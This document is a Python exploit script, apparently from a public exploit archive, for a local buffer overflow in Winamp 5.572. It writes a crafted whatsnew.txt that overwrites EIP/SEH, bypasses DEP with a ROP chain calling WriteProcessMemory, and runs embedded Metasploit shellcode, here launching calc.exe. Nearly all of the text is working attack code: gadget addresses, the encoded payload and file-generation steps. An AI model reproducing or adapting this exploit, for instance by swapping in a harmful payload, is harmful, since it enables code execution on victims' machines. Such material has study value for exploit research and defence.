Winamp 5.572 – Local Buffer Overflow (EIP + SEH) (DEP Bypass)
#!/usr/bin/python # # Title: Winamp v5.572 local BOF exploit (EIP & SEH DEP Bypass) # Author: Rocco Calvi aka TecR0c - http://tecninja.net/blog | http://twitter.com/TecR0c # Found BY: Debug # Date: June 18th, 2010 # Platform: Windows XP sp3 En # Greetz to: Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # Special thanks to mr_me for making me try harder and lincoln # Usage stage 1 : Replace existing whatsnew.txt file with evil whatsnew.txt # Usage stage 2 : Launch Application > Help > About Winamp > Version History > BOOM! print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "| http://www.corelan.be:8800 |" print "| security@corelan.be |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] Winamp 5.572 (whatnews.txt) DEP Bypass - by TecR0c" # http://www.metasploit.com # EXITFUNC=process, CMD=calc.exe sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46" "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c" "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c" "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46" "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50" "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43" "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43" "\x51\x42\x4c\x42\x43\x43\x30\x41\x41"); version = "Winamp 5.572" rop = "\x41" * 540 # Crash rop += "\x09\x12\x0e\x07" # 0x070E1209 : {POP} # POP EDI # POP ESI # POP EBP # XOR EAX,EAX # POP EBX # RETN [Module : nde.dll] rop += "\xee\xff\xff\xc0" # 0xc0ffffee : Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee : Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee : Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee : Junk rop += "\x03\x85\x09\x07" # 0x07098503 : EAX CALL rop += "\xee\xff\xff\xc0" # 0xc0ffffee : Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee : Junk rop += "\xff\xff\xff\xff" # 0xffffffff : for EBX rop += "\xc5\x01\x5a\x78" # 0x785A01C5 : # POP EDX # RETN [Module : MSVCR90.dll] rop += "\x10\xe0\x10\x07" # 0x07100e01 : Writeable Address rop += "\x46\x17\x5a\x78" # 0x785A1746 : # ADD EAX,40 # POP EBP # RETN [Module : MSVCR90.dll] rop += "\xee\xff\xff\xc0" # 0xc0ffffee : Junk rop += "\x6e\x22\x97\x7c" # 0x7C97226E : # ADD EAX,100 # POP EBP # RETN rop += "\xcf\x22\x80\x7c" # 0x7C8022CF : dest address in WriteProcessMemory() rop += "\xcf\xc9\x0e\x07" # 0x070EC9CF : # ADD EBX,EAX # XOR AL,AL # RETN [Module : nde.dll] rop += "\x5e\x89\x09\x07" # 0x0709895E : {POP} # POP EAX # POP ESI # RETN [Module : libsndfile.dll] rop += "\x13\x22\x80\x7c" # 0x7C802213 : WriteProcessMemory rop += "\xff\xff\xff\xff" # 0xffffffff : HProcess HANDLE (-1) rop += "\x65\x08\x59\x78" # 0x78590865 : # PUSHAD # RETN [Module : MSVCR90.dll] junk = "\x43" * 800 tecfile = open('whatsnew.txt','w') tecfile.write(version + rop + sc + junk) tecfile.close() |